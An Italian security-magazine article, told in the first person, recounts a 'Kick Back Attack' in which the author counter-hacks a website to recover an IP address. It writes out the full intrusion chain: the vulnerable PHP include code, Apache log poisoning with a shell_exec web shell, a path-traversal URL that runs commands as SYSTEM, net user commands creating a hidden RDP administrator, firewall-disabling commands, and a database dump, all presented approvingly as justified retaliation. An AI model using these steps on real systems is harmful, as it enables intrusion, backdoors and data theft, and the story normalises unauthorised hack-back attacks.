A case history: Kick Back Attack

La locuzione latina “si vis pacem, para bellum”, sostiene che uno dei modi migliori per assicurarsi la pace sia quello di prepararsi alla guerra. Io direi che dipende, fondamentalmente, dal contesto in cui ci si trova. Nella realtà in cui oggi viviamo è di vitale importanza mettere in atto tutte le contromisure adeguate per prevenire o mitigare la maggior parte degli attacchi informatici. Ma in alcuni casi, questa affermazione è solamente una bella frase. Vi sono alcune realtà dove non basta “prepararsi alla guerra” ma è necessario farla.

Gli Incident Case[1] di tipologia KBA (Kick Back Attack) sono rari, ma quando ne viene richiesto uno, ci si imbatte sempre in un terreno minato. Un Kick Back Attack è un “Contro Attacco: un calcio di ritorno, sferrato in risposta ad un altro calcio”. In poche parole, si risponde all’attacco con un altro attacco. Ci sono varie ragioni che spingono alcuni clienti a richiedere questo genere di approccio al problema, magari sperano di recuperare parte dei soldi che si sono visti sfilare via, o magari hanno bisogno di alcuni dati per legittimare probabili argomentazioni etc… Mi sovvengono alcuni siti nel Dark Web che propongono “Rent a Hacker” per diverse centinaia di Euro. Ma come si dice: “quando guardi a lungo in un abisso…anche l’abisso ti guarda dentro”.

Fu proprio in una splendida domenica d’aprile che mi ritrovai attorno ad un tavolino a sperimentare questo genere di approccio al problema Cyber Security con due clienti di mezza età in giacca e cravatta ed il mio socio che ammiccava. Il primo era di un ente governativo, il secondo era uno dei Manager di una nota società di Cyber Sicurezza. Ciò che volevano era un KBA su un sito web.

<<Dato che lei è uno dei manager di …. perché non fate voi questo lavoro?>>. Mi sorse spontanea la domanda

<<Non trattiamo questo genere di "casi" …>>

Che equivale ad ammettere che non avevano specialisti per Hunting o servizi simili.

<<Ammesso che accettassimo, abbiamo bisogno di tutti i permessi del caso e le relative autorizzazioni>> tagliò corto il mio socio.

<<Avrete Carta Bianca>> Il tono perentorio dell'altra figura non diede adito ad ulteriori domande in merito. Poi aggiunse: <<Ciò che ci serve è un indirizzo IP>>.

In pratica dovevamo attaccare un Sito Web ed estrarre uno degli indirizzi IP che aveva contribuito all'inserimento di contenuti all'interno di esso. La motivazione era legittima.

A differenza di quello che molti pensano, per aumentare le probabilità di successo di un attacco è necessario studiarlo, prepararlo, riprodurre l'ambiente in laboratorio, ed infine attuarlo. Ma nel nostro caso non avremmo avuto tutto quel tempo. Ciò che avevamo erano 24 ore ed il nome di un sito internet che non avevo mai sentito. Nell'ipotesi più plausibile, le famose quattro triplette sarebbero state cancellate 24 ore dopo e con molta probabilità il sito stesso.

Dopo una fase di Information Gathering[2], che definirei alquanto sommaria, passai all'azione.

Uno dei metodi più efficaci per l'Haking dei siti web che interagiscono attivamente con l'utente (dinamici, come *Facebook*, siti di Marketing, siti per la raccolta di dati attivi) al fine di ottenere determinate informazioni riservate è il famoso Cross Site Scripting, una vulnerabilità che permette di inserire un codice malevolo, ad esempio in un form, e di ottenerne l'esecuzione.

Per spiegarmi meglio, poniamo per un istante che un sito realizzato in HTML[3] (non correttamente configurato ai fini della sicurezza) permetta di postare i propri commenti attraverso un form molto semplice: *nome, commento e gruppo di appartenenza* (una List Box[4] che permette di selezionare più elementi da una lista).

Se noi inserissimo nel campo nome, un nome casuale e nel campo commento, il codice: **<script>…..</script>** e selezionando il gruppo di appartenenza, pubblicassimo il commento, il risultato sarebbe che all'apertura del nostro commento (alla sua visualizzazione) verrebbe eseguito il codice javascript contenuto all'interno dei tags **<script>.**

Ad esempio potremmo inserire un **alert:** una finestra pop-up che compaia a schermo con un messaggio. Sarebbe sufficiente introdurre nel nostro famoso campo dei commenti il seguente codice: **<script>alert ("Questo sito è sotto attacco – XSS")</script> .**

All'apertura del "commento", il nostro codice javascript verrebbe eseguito nel browser della vittima, ed il risultato sarebbe una finestra, in sovra schermo, con la scritta ***"Questo sito è sotto attacco – XSS".***

Il sito oggetto del nostro intervento poteva essere compromesso utilizzando il principio del code Injection (appena descritto).

Il piano era "semplice": inoculare un file remoto o locale nel web server che eseguiva il codice PHP.

Adesso facciamo un passo indietro e torniamo al nostro form di compilazione che permetteva di inserire un dato commento. Abbiamo appena detto che in tale form era possibile inserire *il nome, il commento ed il gruppo di appartenenza (poniamo fosse possibile scegliere fra due gruppi dark e grey).*

Il codice PHP che permetteva quest'ultima funzione, somigliava a:

```
if (isset( $_GET['GROUP'] ) ) { $group = $_GET['GROUP'];} else { $group = 'dark';} [..] include( $group . '.php' );
```

Tradotto per i non addetti ai lavori: veniva effettuato un controllo sul parametro GROUP e se GROUP fosse stato selezionato, gli sarebbe stata assegnata la variabile $group. Se il parametro GROUP non fosse stato selezionato dall'utente, il valore di default sarebbe stato "dark". Quindi il codice PHP avrebbe utilizzato una funzione *include* richiamando un file locale **dark.php** e di conseguenza **grey.php .**

Il creatore del sito non aveva previsto nessun altro valore oltre a quelli specificabili attraverso la List Box del gruppo (dark e grey) e nessun codice di controllo.

Il punto era proprio questo, se fossi riuscito attraverso il parametro GROUP ad inoculare il mio codice malevolo, o un file remoto, attraverso la funzione *include,* il mio codice sarebbe stato scritto ed eseguito sulla macchina che ospitava il sito web e riprodotto sotto forma di risposta dal browser.

Ma per attuare tale piano dovevo prima contaminare il log file del sito internet. Quindi, ciò che feci fu aprire una connessione netcat[5] verso il server vittima. Utilizzando il mio laptop, bussai alla porta 80 del server web, conoscendo già l'esito ma buttandoci dentro il codice che mi avrebbe permesso, successivamente, di sfondare la porta:

<?php echo shell_exec($_GET['cmd']);?>

Ovviamente il server mi rispose "picche" (HTTP:/1.1 400 Bad Request) ma il log file fece il suo lavoro, e memorizzò la richiesta di connessione appena fatta, con il relativo comando all'interno del server.

Ora all'interno del log file del server Apache[6] che hostava il

sito internet, era comparsa una scritta di questo tipo:

Il mio IP – – [Data – Ora della mia richiesta] “ **<?php echo shell_exec($_GET[‘cmd’]);?>** “ Codice Errore – ID dell’errore

A questo punto potevo provare ad includere i comandi della shell di windows attraverso l’URL del sito stesso.

Avrei assegnato al parametro GROUP il percorso del comando PHP che avevo, poco prima, inoculato nel file log degli accessi; mentre, nei *commenti,* avrei richiamato il comando specifico. L’URL somigliava a questo:

http://nomedelsitointernet/addcomment.php?name=a&comment=b&**cmd=systeminfo**&GROUP=../../../../../../../[..]/apache/logs/access.log%00

Il risultato fu una pagina web con l’output del mio comando systeminfo. Ed ovviamente siccome Apache e PHP venivano eseguiti come SYSTEM services in Windows, tutti i miei successivi comandi sarebbero stati eseguiti con i medesimi privilegi.

Si trattava di una macchina Windows 7 32bit, allestita in fretta e furia per l’occasione, probabilmente una virtuale.

Una remote shell[7] sulla macchina sarebbe stata auspicabile. Certo, avrei potuto fare injection con un payload, ma avevo una soluzione migliore. Dato che i comandi venivano eseguiti con privilegi di categoria SYSTEM services, a questo punto decisi di utilizzare la medesima tecnica per una serie di comandi in sequenza:

Creai un nuovo utente sulla macchina

net user $username $password /add

Aggiunsi il mio utente al gruppo degli utenti che potevano connettersi in RDP.

net localgroup "Remote Desktop Users" $username /add

Lo resi amministratore della macchina

net localgroup administrators $username /add

Disabilitai il Firewall

NetSh Advfirewall set allprofiles state off netsh firewall set opmode disable

Una volta ottenuta la connessione remota, il resto potete immaginarlo. Loggai sulla macchina con la nuova utenza che mi ero creato e feci un dump di tutto il database del sito internet, compresi i file di log.

Nella nottata ricontattai il mio socio <<Abbiamo l'IP?>>

<<Anche di più…>>

Note

1. https://www.ictsecuritymagazine.com/articoli/a-case-history-come-ho-risolto-un-sabotaggio-interno/
2. http://www.nemesilabs.org/information-gathering-raccolta-informazioni/
3. https://it.wikipedia.org/wiki/HTML
4. https://it.wikipedia.org/wiki/List_box
5. https://it.wikipedia.org/wiki/Netcat5
6. https://it.wikipedia.org/wiki/Apache_HTTP_Server
7. https://en.wikipedia.org/wiki/Remote_Shell

A cura di: **Vincenzo Digilio**

L'articolo A case history: Kick Back Attack proviene da ICT Security Magazine.

https://www.ictsecuritymagazine.com/articoli/a-case-history-kick-back-attack/